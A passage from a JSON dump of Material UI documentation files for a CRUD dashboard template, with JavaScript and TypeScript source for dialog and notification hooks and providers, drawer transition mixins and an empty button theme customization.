newEntry]);\n    return promise;\n  });\n\n  const closeDialogUi = useEventCallback(function closeDialogUi<R>(\n    dialog: Promise<R>,\n  ) {\n    setStack((prevStack) =>\n      prevStack.map((entry) =>\n        entry.promise === dialog ? { ...entry, open: false } : entry,\n      ),\n    );\n    setTimeout(() => {\n      // wait for closing animation\n      setStack((prevStack) => prevStack.filter((entry) => entry.promise !== dialog));\n      // WeakMap automatically cleans up when promise is garbage collected\n    }, unmountAfter);\n  });\n\n  const closeDialog = useEventCallback(async function closeDialog<R>(\n    dialog: Promise<R>,\n    result: R,\n  ) {\n    const entryToClose = dialogMetadata.current.get(dialog);\n    if (!entryToClose) {\n      throw new Error('Dialog not found.');\n    }\n\n    try {\n      await entryToClose.onClose(result);\n    } finally {\n      entryToClose.resolve(result);\n      closeDialogUi(dialog);\n    }\n    return dialog;\n  });\n\n  const contextValue = React.useMemo(\n    () => ({ open: requestDialog, close: closeDialog }),\n    [requestDialog, closeDialog],\n  );\n\n  return (\n    <DialogsContext.Provider value={contextValue}>\n      {children}\n      {stack.map(({ key, open, Component, payload, promise }) => (\n        <Component\n          key={key}\n          payload={payload}\n          open={open}\n          onClose={async (result) => {\n            await closeDialog(promise, result);\n          }}\n        />\n      ))}\n    </DialogsContext.Provider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useDialogs/useDialogs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport TextField from '@mui/material/TextField';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport DialogsContext from './DialogsContext';\n\n/**\n * The props that are passed to a dialog component.\n */\n\nfunction useDialogLoadingButton(onClose) {\n  const [loading, setLoading] = React.useState(false);\n  const handleClick = async () => {\n    try {\n      setLoading(true);\n      await onClose();\n    } finally {\n      setLoading(false);\n    }\n  };\n  return {\n    onClick: handleClick,\n    loading,\n  };\n}\n\nfunction AlertDialog({ open, payload, onClose }) {\n  const okButtonProps = useDialogLoadingButton(() => onClose());\n\n  return (\n    <Dialog maxWidth=\"xs\" fullWidth open={open} onClose={() => onClose()}>\n      <DialogTitle>{payload.title ?? 'Alert'}</DialogTitle>\n      <DialogContent>{payload.msg}</DialogContent>\n      <DialogActions>\n        <Button disabled={!open} {...okButtonProps}>\n          {payload.okText ?? 'Ok'}\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nAlertDialog.propTypes = {\n  /**\n   * A function to call when the dialog should be closed. If the dialog has a return\n   * value, it should be passed as an argument to this function. You should use the promise\n   * that is returned to show a loading state while the dialog is performing async actions\n   * on close.\n   * @param result The result to return from the dialog.\n   * @returns A promise that resolves when the dialog can be fully closed.\n   */\n  onClose: PropTypes.func.isRequired,\n  /**\n   * Whether the dialog is open.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The payload that was passed when the dialog was opened.\n   */\n  payload: PropTypes.shape({\n    msg: PropTypes.node,\n    okText: PropTypes.node,\n    onClose: PropTypes.func,\n    title: PropTypes.node,\n  }).isRequired,\n};\n\nexport { AlertDialog };\n\nfunction ConfirmDialog({ open, payload, onClose }) {\n  const cancelButtonProps = useDialogLoadingButton(() => onClose(false));\n  const okButtonProps = useDialogLoadingButton(() => onClose(true));\n\n  return (\n    <Dialog maxWidth=\"xs\" fullWidth open={open} onClose={() => onClose(false)}>\n      <DialogTitle>{payload.title ?? 'Confirm'}</DialogTitle>\n      <DialogContent>{payload.msg}</DialogContent>\n      <DialogActions>\n        <Button autoFocus disabled={!open} {...cancelButtonProps}>\n          {payload.cancelText ?? 'Cancel'}\n        </Button>\n        <Button color={payload.severity} disabled={!open} {...okButtonProps}>\n          {payload.okText ?? 'Ok'}\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nConfirmDialog.propTypes = {\n  /**\n   * A function to call when the dialog should be closed. If the dialog has a return\n   * value, it should be passed as an argument to this function. You should use the promise\n   * that is returned to show a loading state while the dialog is performing async actions\n   * on close.\n   * @param result The result to return from the dialog.\n   * @returns A promise that resolves when the dialog can be fully closed.\n   */\n  onClose: PropTypes.func.isRequired,\n  /**\n   * Whether the dialog is open.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The payload that was passed when the dialog was opened.\n   */\n  payload: PropTypes.shape({\n    cancelText: PropTypes.node,\n    msg: PropTypes.node,\n    okText: PropTypes.node,\n    onClose: PropTypes.func,\n    severity: PropTypes.oneOf(['error', 'info', 'success', 'warning']),\n    title: PropTypes.node,\n  }).isRequired,\n};\n\nexport { ConfirmDialog };\n\nfunction PromptDialog({ open, payload, onClose }) {\n  const [input, setInput] = React.useState('');\n  const cancelButtonProps = useDialogLoadingButton(() => onClose(null));\n\n  const [loading, setLoading] = React.useState(false);\n\n  const name = 'input';\n  return (\n    <Dialog\n      maxWidth=\"xs\"\n      fullWidth\n      open={open}\n      onClose={() => onClose(null)}\n      slotProps={{\n        paper: {\n          component: 'form',\n          onSubmit: async (event) => {\n            event.preventDefault();\n            try {\n              setLoading(true);\n              const formData = new FormData(event.currentTarget);\n              const value = formData.get(name) ?? '';\n\n              if (typeof value !== 'string') {\n                throw new Error('Value must come from a text input.');\n              }\n\n              await onClose(value);\n            } finally {\n              setLoading(false);\n            }\n          },\n        },\n      }}\n    >\n      <DialogTitle>{payload.title ?? 'Confirm'}</DialogTitle>\n      <DialogContent>\n        <DialogContentText>{payload.msg} </DialogContentText>\n        <TextField\n          autoFocus\n          required\n          margin=\"dense\"\n          id=\"name\"\n          name={name}\n          type=\"text\"\n          fullWidth\n          variant=\"standard\"\n          value={input}\n          onChange={(event) => setInput(event.target.value)}\n        />\n      </DialogContent>\n      <DialogActions>\n        <Button disabled={!open} {...cancelButtonProps}>\n          {payload.cancelText ?? 'Cancel'}\n        </Button>\n        <Button disabled={!open} loading={loading} type=\"submit\">\n          {payload.okText ?? 'Ok'}\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nPromptDialog.propTypes = {\n  /**\n   * A function to call when the dialog should be closed. If the dialog has a return\n   * value, it should be passed as an argument to this function. You should use the promise\n   * that is returned to show a loading state while the dialog is performing async actions\n   * on close.\n   * @param result The result to return from the dialog.\n   * @returns A promise that resolves when the dialog can be fully closed.\n   */\n  onClose: PropTypes.func.isRequired,\n  /**\n   * Whether the dialog is open.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The payload that was passed when the dialog was opened.\n   */\n  payload: PropTypes.shape({\n    cancelText: PropTypes.node,\n    msg: PropTypes.node,\n    okText: PropTypes.node,\n    onClose: PropTypes.func,\n    title: PropTypes.node,\n  }).isRequired,\n};\n\nexport { PromptDialog };\n\nexport function useDialogs() {\n  const dialogsContext = React.useContext(DialogsContext);\n  if (!dialogsContext) {\n    throw new Error('Dialogs context was used without a provider.');\n  }\n  const { open, close } = dialogsContext;\n\n  const alert = useEventCallback((msg, { onClose, ...options } = {}) =>\n    open(AlertDialog, { ...options, msg }, { onClose }),\n  );\n\n  const confirm = useEventCallback((msg, { onClose, ...options } = {}) =>\n    open(ConfirmDialog, { ...options, msg }, { onClose }),\n  );\n\n  const prompt = useEventCallback((msg, { onClose, ...options } = {}) =>\n    open(PromptDialog, { ...options, msg }, { onClose }),\n  );\n\n  return React.useMemo(\n    () => ({\n      alert,\n      confirm,\n      prompt,\n      open,\n      close,\n    }),\n    [alert, close, confirm, open, prompt],\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useDialogs/useDialogs.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport TextField from '@mui/material/TextField';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport DialogsContext from './DialogsContext';\n\nexport interface OpenDialogOptions<R> {\n  /**\n   * A function that is called before closing the dialog closes. The dialog\n   * stays open as long as the returned promise is not resolved. Use this if\n   * you want to perform an async action on close and show a loading state.\n   *\n   * @param result The result that the dialog will return after closing.\n   * @returns A promise that resolves when the dialog can be closed.\n   */\n  onClose?: (result: R) => Promise<void>;\n}\n\nexport interface AlertOptions extends OpenDialogOptions<void> {\n  /**\n   * A title for the dialog. Defaults to `'Alert'`.\n   */\n  title?: React.ReactNode;\n  /**\n   * The text to show in the \"Ok\" button. Defaults to `'Ok'`.\n   */\n  okText?: React.ReactNode;\n}\n\nexport interface ConfirmOptions extends OpenDialogOptions<boolean> {\n  /**\n   * A title for the dialog. Defaults to `'Confirm'`.\n   */\n  title?: React.ReactNode;\n  /**\n   * The text to show in the \"Ok\" button. Defaults to `'Ok'`.\n   */\n  okText?: React.ReactNode;\n  /**\n   * Denotes the purpose of the dialog. This will affect the color of the\n   * \"Ok\" button. Defaults to `undefined`.\n   */\n  severity?: 'error' | 'info' | 'success' | 'warning';\n  /**\n   * The text to show in the \"Cancel\" button. Defaults to `'Cancel'`.\n   */\n  cancelText?: React.ReactNode;\n}\n\nexport interface PromptOptions extends OpenDialogOptions<string | null> {\n  /**\n   * A title for the dialog. Defaults to `'Prompt'`.\n   */\n  title?: React.ReactNode;\n  /**\n   * The text to show in the \"Ok\" button. Defaults to `'Ok'`.\n   */\n  okText?: React.ReactNode;\n  /**\n   * The text to show in the \"Cancel\" button. Defaults to `'Cancel'`.\n   */\n  cancelText?: React.ReactNode;\n}\n\n/**\n * The props that are passed to a dialog component.\n */\nexport interface DialogProps<P = undefined, R = void> {\n  /**\n   * The payload that was passed when the dialog was opened.\n   */\n  payload: P;\n  /**\n   * Whether the dialog is open.\n   */\n  open: boolean;\n  /**\n   * A function to call when the dialog should be closed. If the dialog has a return\n   * value, it should be passed as an argument to this function. You should use the promise\n   * that is returned to show a loading state while the dialog is performing async actions\n   * on close.\n   * @param result The result to return from the dialog.\n   * @returns A promise that resolves when the dialog can be fully closed.\n   */\n  onClose: (result: R) => Promise<void>;\n}\n\nexport interface OpenAlertDialog {\n  /**\n   * Open an alert dialog. Returns a promise that resolves when the user\n   * closes the dialog.\n   *\n   * @param msg The message to show in the dialog.\n   * @param options Additional options for the dialog.\n   * @returns A promise that resolves when the dialog is closed.\n   */\n  (msg: React.ReactNode, options?: AlertOptions): Promise<void>;\n}\n\nexport interface OpenConfirmDialog {\n  /**\n   * Open a confirmation dialog. Returns a promise that resolves to true if\n   * the user confirms, false if the user cancels.\n   *\n   * @param msg The message to show in the dialog.\n   * @param options Additional options for the dialog.\n   * @returns A promise that resolves to true if the user confirms, false if the user cancels.\n   */\n  (msg: React.ReactNode, options?: ConfirmOptions): Promise<boolean>;\n}\n\nexport interface OpenPromptDialog {\n  /**\n   * Open a prompt dialog to request user input. Returns a promise that resolves to the input\n   * if the user confirms, null if the user cancels.\n   *\n   * @param msg The message to show in the dialog.\n   * @param options Additional options for the dialog.\n   * @returns A promise that resolves to the user input if the user confirms, null if the user cancels.\n   */\n  (msg: React.ReactNode, options?: PromptOptions): Promise<string | null>;\n}\n\nexport type DialogComponent<P, R> = React.ComponentType<DialogProps<P, R>>;\n\nexport interface OpenDialog {\n  /**\n   * Open a dialog without payload.\n   * @param Component The dialog component to open.\n   * @param options Additional options for the dialog.\n   */\n  <P extends undefined, R>(\n    Component: DialogComponent<P, R>,\n    payload?: P,\n    options?: OpenDialogOptions<R>,\n  ): Promise<R>;\n  /**\n   * Open a dialog and pass a payload.\n   * @param Component The dialog component to open.\n   * @param payload The payload to pass to the dialog.\n   * @param options Additional options for the dialog.\n   */\n  <P, R>(\n    Component: DialogComponent<P, R>,\n    payload: P,\n    options?: OpenDialogOptions<R>,\n  ): Promise<R>;\n}\n\nexport interface CloseDialog {\n  /**\n   * Close a dialog and return a result.\n   * @param dialog The dialog to close. The promise returned by `open`.\n   * @param result The result to return from the dialog.\n   * @returns A promise that resolves when the dialog is fully closed.\n   */\n  <R>(dialog: Promise<R>, result: R): Promise<R>;\n}\n\nexport interface DialogHook {\n  alert: OpenAlertDialog;\n  confirm: OpenConfirmDialog;\n  prompt: OpenPromptDialog;\n  open: OpenDialog;\n  close: CloseDialog;\n}\n\nfunction useDialogLoadingButton(onClose: () => Promise<void>) {\n  const [loading, setLoading] = React.useState(false);\n  const handleClick = async () => {\n    try {\n      setLoading(true);\n      await onClose();\n    } finally {\n      setLoading(false);\n    }\n  };\n  return {\n    onClick: handleClick,\n    loading,\n  };\n}\n\nexport interface AlertDialogPayload extends AlertOptions {\n  msg: React.ReactNode;\n}\n\nexport interface AlertDialogProps extends DialogProps<AlertDialogPayload, void> {}\n\nexport function AlertDialog({ open, payload, onClose }: AlertDialogProps) {\n  const okButtonProps = useDialogLoadingButton(() => onClose());\n\n  return (\n    <Dialog maxWidth=\"xs\" fullWidth open={open} onClose={() => onClose()}>\n      <DialogTitle>{payload.title ?? 'Alert'}</DialogTitle>\n      <DialogContent>{payload.msg}</DialogContent>\n      <DialogActions>\n        <Button disabled={!open} {...okButtonProps}>\n          {payload.okText ?? 'Ok'}\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nexport interface ConfirmDialogPayload extends ConfirmOptions {\n  msg: React.ReactNode;\n}\n\nexport interface ConfirmDialogProps extends DialogProps<\n  ConfirmDialogPayload,\n  boolean\n> {}\n\nexport function ConfirmDialog({ open, payload, onClose }: ConfirmDialogProps) {\n  const cancelButtonProps = useDialogLoadingButton(() => onClose(false));\n  const okButtonProps = useDialogLoadingButton(() => onClose(true));\n\n  return (\n    <Dialog maxWidth=\"xs\" fullWidth open={open} onClose={() => onClose(false)}>\n      <DialogTitle>{payload.title ?? 'Confirm'}</DialogTitle>\n      <DialogContent>{payload.msg}</DialogContent>\n      <DialogActions>\n        <Button autoFocus disabled={!open} {...cancelButtonProps}>\n          {payload.cancelText ?? 'Cancel'}\n        </Button>\n        <Button color={payload.severity} disabled={!open} {...okButtonProps}>\n          {payload.okText ?? 'Ok'}\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nexport interface PromptDialogPayload extends PromptOptions {\n  msg: React.ReactNode;\n}\n\nexport interface PromptDialogProps extends DialogProps<\n  PromptDialogPayload,\n  string | null\n> {}\n\nexport function PromptDialog({ open, payload, onClose }: PromptDialogProps) {\n  const [input, setInput] = React.useState('');\n  const cancelButtonProps = useDialogLoadingButton(() => onClose(null));\n\n  const [loading, setLoading] = React.useState(false);\n\n  const name = 'input';\n  return (\n    <Dialog\n      maxWidth=\"xs\"\n      fullWidth\n      open={open}\n      onClose={() => onClose(null)}\n      slotProps={{\n        paper: {\n          component: 'form',\n          onSubmit: async (event: React.SubmitEvent<HTMLFormElement>) => {\n            event.preventDefault();\n            try {\n              setLoading(true);\n              const formData = new FormData(event.currentTarget);\n              const value = formData.get(name) ?? '';\n\n              if (typeof value !== 'string') {\n                throw new Error('Value must come from a text input.');\n              }\n\n              await onClose(value);\n            } finally {\n              setLoading(false);\n            }\n          },\n        },\n      }}\n    >\n      <DialogTitle>{payload.title ?? 'Confirm'}</DialogTitle>\n      <DialogContent>\n        <DialogContentText>{payload.msg} </DialogContentText>\n        <TextField\n          autoFocus\n          required\n          margin=\"dense\"\n          id=\"name\"\n          name={name}\n          type=\"text\"\n          fullWidth\n          variant=\"standard\"\n          value={input}\n          onChange={(event) => setInput(event.target.value)}\n        />\n      </DialogContent>\n      <DialogActions>\n        <Button disabled={!open} {...cancelButtonProps}>\n          {payload.cancelText ?? 'Cancel'}\n        </Button>\n        <Button disabled={!open} loading={loading} type=\"submit\">\n          {payload.okText ?? 'Ok'}\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nexport function useDialogs(): DialogHook {\n  const dialogsContext = React.useContext(DialogsContext);\n  if (!dialogsContext) {\n    throw new Error('Dialogs context was used without a provider.');\n  }\n  const { open, close } = dialogsContext;\n\n  const alert = useEventCallback<OpenAlertDialog>(\n    (msg, { onClose, ...options } = {}) =>\n      open(AlertDialog, { ...options, msg }, { onClose }),\n  );\n\n  const confirm = useEventCallback<OpenConfirmDialog>(\n    (msg, { onClose, ...options } = {}) =>\n      open(ConfirmDialog, { ...options, msg }, { onClose }),\n  );\n\n  const prompt = useEventCallback<OpenPromptDialog>(\n    (msg, { onClose, ...options } = {}) =>\n      open(PromptDialog, { ...options, msg }, { onClose }),\n  );\n\n  return React.useMemo(\n    () => ({\n      alert,\n      confirm,\n      prompt,\n      open,\n      close,\n    }),\n    [alert, close, confirm, open, prompt],\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useNotifications/NotificationsContext.js",
    "content": "import * as React from 'react';\n\nconst NotificationsContext = React.createContext(null);\n\nexport default NotificationsContext;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useNotifications/NotificationsContext.tsx",
    "content": "import * as React from 'react';\nimport { ShowNotification, CloseNotification } from './useNotifications';\n\nconst NotificationsContext = React.createContext<{\n  show: ShowNotification;\n  close: CloseNotification;\n} | null>(null);\n\nexport default NotificationsContext;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useNotifications/NotificationsProvider.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Alert from '@mui/material/Alert';\nimport Badge from '@mui/material/Badge';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Snackbar from '@mui/material/Snackbar';\nimport SnackbarContent from '@mui/material/SnackbarContent';\n\nimport CloseIcon from '@mui/icons-material/Close';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport NotificationsContext from './NotificationsContext';\n\nconst RootPropsContext = React.createContext(null);\n\nfunction Notification({ notificationKey, open, message, options, badge }) {\n  const notificationsContext = React.useContext(NotificationsContext);\n  if (!notificationsContext) {\n    throw new Error('Notifications context was used without a provider.');\n  }\n  const { close } = notificationsContext;\n\n  const { severity, actionText, onAction, autoHideDuration } = options;\n\n  const handleClose = React.useCallback(\n    (event, reason) => {\n      if (reason === 'clickaway') {\n        return;\n      }\n      close(notificationKey);\n    },\n    [notificationKey, close],\n  );\n\n  const action = (\n    <React.Fragment>\n      {onAction ? (\n        <Button color=\"inherit\" size=\"small\" onClick={onAction}>\n          {actionText ?? 'Action'}\n        </Button>\n      ) : null}\n      <IconButton\n        size=\"small\"\n        aria-label=\"Close\"\n        title=\"Close\"\n        color=\"inherit\"\n        onClick={handleClose}\n      >\n        <CloseIcon fontSize=\"small\" />\n      </IconButton>\n    </React.Fragment>\n  );\n\n  const props = React.useContext(RootPropsContext);\n  const snackbarSlotProps = useSlotProps({\n    elementType: Snackbar,\n    ownerState: props,\n    externalSlotProps: {},\n    additionalProps: {\n      open,\n      autoHideDuration,\n      onClose: handleClose,\n      action,\n    },\n  });\n\n  return (\n    <Snackbar key={notificationKey} {...snackbarSlotProps}>\n      <Badge badgeContent={badge} color=\"primary\" sx={{ width: '100%' }}>\n        {severity ? (\n          <Alert severity={severity} sx={{ width: '100%' }} action={action}>\n            {message}\n          </Alert>\n        ) : (\n          <SnackbarContent message={message} action={action} />\n        )}\n      </Badge>\n    </Snackbar>\n  );\n}\n\nNotification.propTypes = {\n  badge: PropTypes.string,\n  message: PropTypes.node,\n  notificationKey: PropTypes.string.isRequired,\n  open: PropTypes.bool.isRequired,\n  options: PropTypes.shape({\n    actionText: PropTypes.node,\n    autoHideDuration: PropTypes.number,\n    key: PropTypes.string,\n    onAction: PropTypes.func,\n    severity: PropTypes.oneOf(['error', 'info', 'success', 'warning']),\n  }).isRequired,\n};\n\nfunction Notifications({ state }) {\n  const currentNotification = state.queue[0] ?? null;\n\n  return currentNotification ? (\n    <Notification\n      {...currentNotification}\n      badge={state.queue.length > 1 ? String(state.queue.length) : null}\n    />\n  ) : null;\n}\n\nNotifications.propTypes = {\n  state: PropTypes.shape({\n    queue: PropTypes.arrayOf(\n      PropTypes.shape({\n        message: PropTypes.node,\n        notificationKey: PropTypes.string.isRequired,\n        open: PropTypes.bool.isRequired,\n        options: PropTypes.shape({\n          actionText: PropTypes.node,\n          autoHideDuration: PropTypes.number,\n          key: PropTypes.string,\n          onAction: PropTypes.func,\n          severity: PropTypes.oneOf(['error', 'info', 'success', 'warning']),\n        }).isRequired,\n      }),\n    ).isRequired,\n  }).isRequired,\n};\n\nlet nextId = 0;\nconst generateId = () => {\n  const id = nextId;\n  nextId += 1;\n  return id;\n};\n\n/**\n * Provider for Notifications. The subtree of this component can use the `useNotifications` hook to\n * access the notifications API. The notifications are shown in the same order they are requested.\n */\nfunction NotificationsProvider(props) {\n  const { children } = props;\n  const [state, setState] = React.useState({ queue: [] });\n\n  const show = React.useCallback((message, options = {}) => {\n    const notificationKey =\n      options.key ?? `::toolpad-internal::notification::${generateId()}`;\n    setState((prev) => {\n      if (prev.queue.some((n) => n.notificationKey === notificationKey)) {\n        // deduplicate by key\n        return prev;\n      }\n      return {\n        ...prev,\n        queue: [...prev.queue, { message, options, notificationKey, open: true }],\n      };\n    });\n    return notificationKey;\n  }, []);\n\n  const close = React.useCallback((key) => {\n    setState((prev) => ({\n      ...prev,\n      queue: prev.queue.filter((n) => n.notificationKey !== key),\n    }));\n  }, []);\n\n  const contextValue = React.useMemo(() => ({ show, close }), [show, close]);\n\n  return (\n    <RootPropsContext.Provider value={props}>\n      <NotificationsContext.Provider value={contextValue}>\n        {children}\n        <Notifications state={state} />\n      </NotificationsContext.Provider>\n    </RootPropsContext.Provider>\n  );\n}\n\nNotificationsProvider.propTypes = {\n  children: PropTypes.node,\n};\n\nexport default NotificationsProvider;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useNotifications/NotificationsProvider.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Badge from '@mui/material/Badge';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Snackbar from '@mui/material/Snackbar';\nimport SnackbarContent from '@mui/material/SnackbarContent';\nimport type { SnackbarCloseReason } from '@mui/material/Snackbar';\nimport type { CloseReason } from '@mui/material/SpeedDial';\nimport CloseIcon from '@mui/icons-material/Close';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport NotificationsContext from './NotificationsContext';\nimport type {\n  CloseNotification,\n  ShowNotification,\n  ShowNotificationOptions,\n} from './useNotifications';\n\nconst RootPropsContext = React.createContext<NotificationsProviderProps | null>(\n  null,\n);\n\ninterface NotificationProps {\n  notificationKey: string;\n  badge: string | null;\n  open: boolean;\n  message: React.ReactNode;\n  options: ShowNotificationOptions;\n}\n\nfunction Notification({\n  notificationKey,\n  open,\n  message,\n  options,\n  badge,\n}: NotificationProps) {\n  const notificationsContext = React.useContext(NotificationsContext);\n  if (!notificationsContext) {\n    throw new Error('Notifications context was used without a provider.');\n  }\n  const { close } = notificationsContext;\n\n  const { severity, actionText, onAction, autoHideDuration } = options;\n\n  const handleClose = React.useCallback(\n    (event: unknown, reason?: CloseReason | SnackbarCloseReason) => {\n      if (reason === 'clickaway') {\n        return;\n      }\n      close(notificationKey);\n    },\n    [notificationKey, close],\n  );\n\n  const action = (\n    <React.Fragment>\n      {onAction ? (\n        <Button color=\"inherit\" size=\"small\" onClick={onAction}>\n          {actionText ?? 'Action'}\n        </Button>\n      ) : null}\n      <IconButton\n        size=\"small\"\n        aria-label=\"Close\"\n        title=\"Close\"\n        color=\"inherit\"\n        onClick={handleClose}\n      >\n        <CloseIcon fontSize=\"small\" />\n      </IconButton>\n    </React.Fragment>\n  );\n\n  const props = React.useContext(RootPropsContext);\n  const snackbarSlotProps = useSlotProps({\n    elementType: Snackbar,\n    ownerState: props,\n    externalSlotProps: {},\n    additionalProps: {\n      open,\n      autoHideDuration,\n      onClose: handleClose,\n      action,\n    },\n  });\n\n  return (\n    <Snackbar key={notificationKey} {...snackbarSlotProps}>\n      <Badge badgeContent={badge} color=\"primary\" sx={{ width: '100%' }}>\n        {severity ? (\n          <Alert severity={severity} sx={{ width: '100%' }} action={action}>\n            {message}\n          </Alert>\n        ) : (\n          <SnackbarContent message={message} action={action} />\n        )}\n      </Badge>\n    </Snackbar>\n  );\n}\n\ninterface NotificationQueueEntry {\n  notificationKey: string;\n  options: ShowNotificationOptions;\n  open: boolean;\n  message: React.ReactNode;\n}\n\ninterface NotificationsState {\n  queue: NotificationQueueEntry[];\n}\n\ninterface NotificationsProps {\n  state: NotificationsState;\n}\n\nfunction Notifications({ state }: NotificationsProps) {\n  const currentNotification = state.queue[0] ?? null;\n\n  return currentNotification ? (\n    <Notification\n      {...currentNotification}\n      badge={state.queue.length > 1 ? String(state.queue.length) : null}\n    />\n  ) : null;\n}\n\nexport interface NotificationsProviderProps {\n  children?: React.ReactNode;\n}\n\nlet nextId = 0;\nconst generateId = () => {\n  const id = nextId;\n  nextId += 1;\n  return id;\n};\n\n/**\n * Provider for Notifications. The subtree of this component can use the `useNotifications` hook to\n * access the notifications API. The notifications are shown in the same order they are requested.\n */\nexport default function NotificationsProvider(props: NotificationsProviderProps) {\n  const { children } = props;\n  const [state, setState] = React.useState<NotificationsState>({ queue: [] });\n\n  const show = React.useCallback<ShowNotification>((message, options = {}) => {\n    const notificationKey =\n      options.key ?? `::toolpad-internal::notification::${generateId()}`;\n    setState((prev) => {\n      if (prev.queue.some((n) => n.notificationKey === notificationKey)) {\n        // deduplicate by key\n        return prev;\n      }\n      return {\n        ...prev,\n        queue: [...prev.queue, { message, options, notificationKey, open: true }],\n      };\n    });\n    return notificationKey;\n  }, []);\n\n  const close = React.useCallback<CloseNotification>((key) => {\n    setState((prev) => ({\n      ...prev,\n      queue: prev.queue.filter((n) => n.notificationKey !== key),\n    }));\n  }, []);\n\n  const contextValue = React.useMemo(() => ({ show, close }), [show, close]);\n\n  return (\n    <RootPropsContext.Provider value={props}>\n      <NotificationsContext.Provider value={contextValue}>\n        {children}\n        <Notifications state={state} />\n      </NotificationsContext.Provider>\n    </RootPropsContext.Provider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useNotifications/useNotifications.js",
    "content": "import * as React from 'react';\nimport NotificationsContext from './NotificationsContext';\n\nexport default function useNotifications() {\n  const notificationsContext = React.useContext(NotificationsContext);\n  if (!notificationsContext) {\n    throw new Error('Notifications context was used without a provider.');\n  }\n  return notificationsContext;\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/hooks/useNotifications/useNotifications.tsx",
    "content": "import * as React from 'react';\nimport NotificationsContext from './NotificationsContext';\n\nexport interface ShowNotificationOptions {\n  /**\n   * The key to use for deduping notifications. If not provided, a unique key will be generated.\n   */\n  key?: string;\n  /**\n   * The severity of the notification. When provided, the snackbar will show an alert with the\n   * specified severity.\n   */\n  severity?: 'info' | 'warning' | 'error' | 'success';\n  /**\n   * The duration in milliseconds after which the notification will automatically close.\n   */\n  autoHideDuration?: number;\n  /**\n   * The text to display on the action button.\n   */\n  actionText?: React.ReactNode;\n  /**\n   * The callback to call when the action button is clicked.\n   */\n  onAction?: () => void;\n}\n\nexport interface ShowNotification {\n  /**\n   * Show a snackbar in the application.\n   *\n   * @param message The message to display in the snackbar.\n   * @param options Options for the snackbar.\n   * @returns The key that represents the notification. Useful for programmatically\n   * closing it.\n   */\n  (message: React.ReactNode, options?: ShowNotificationOptions): string;\n}\n\nexport interface CloseNotification {\n  /**\n   * Close a snackbar in the application.\n   *\n   * @param key The key of the notification to close.\n   */\n  (key: string): void;\n}\n\ninterface UseNotifications {\n  show: ShowNotification;\n  close: CloseNotification;\n}\n\nexport default function useNotifications(): UseNotifications {\n  const notificationsContext = React.useContext(NotificationsContext);\n  if (!notificationsContext) {\n    throw new Error('Notifications context was used without a provider.');\n  }\n  return notificationsContext;\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/mixins.js",
    "content": "export function getDrawerSxTransitionMixin(isExpanded, property) {\n  return {\n    transition: (theme) =>\n      theme.transitions.create(property, {\n        easing: theme.transitions.easing.sharp,\n        duration: isExpanded\n          ? theme.transitions.duration.enteringScreen\n          : theme.transitions.duration.leavingScreen,\n      }),\n  };\n}\n\nexport function getDrawerWidthTransitionMixin(isExpanded) {\n  return {\n    ...getDrawerSxTransitionMixin(isExpanded, 'width'),\n    overflowX: 'hidden',\n  };\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/mixins.ts",
    "content": "import { type Theme } from '@mui/material/styles';\n\nexport function getDrawerSxTransitionMixin(isExpanded: boolean, property: string) {\n  return {\n    transition: (theme: Theme) =>\n      theme.transitions.create(property, {\n        easing: theme.transitions.easing.sharp,\n        duration: isExpanded\n          ? theme.transitions.duration.enteringScreen\n          : theme.transitions.duration.leavingScreen,\n      }),\n  };\n}\n\nexport function getDrawerWidthTransitionMixin(isExpanded: boolean) {\n  return {\n    ...getDrawerSxTransitionMixin(isExpanded, 'width'),\n    overflowX: 'hidden',\n  };\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/button.js",
    "content": "/* eslint-disable import/prefer-default-export */\nexport const buttonCustomizations = {};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/button.tsx",
    "content": "import { Theme, Components } from '@mui/material/styles';\n\n/* eslint-disable import/prefer-default-export */\nexport const buttonCustomizations: Components<Theme> = {};\n"
  },
  {
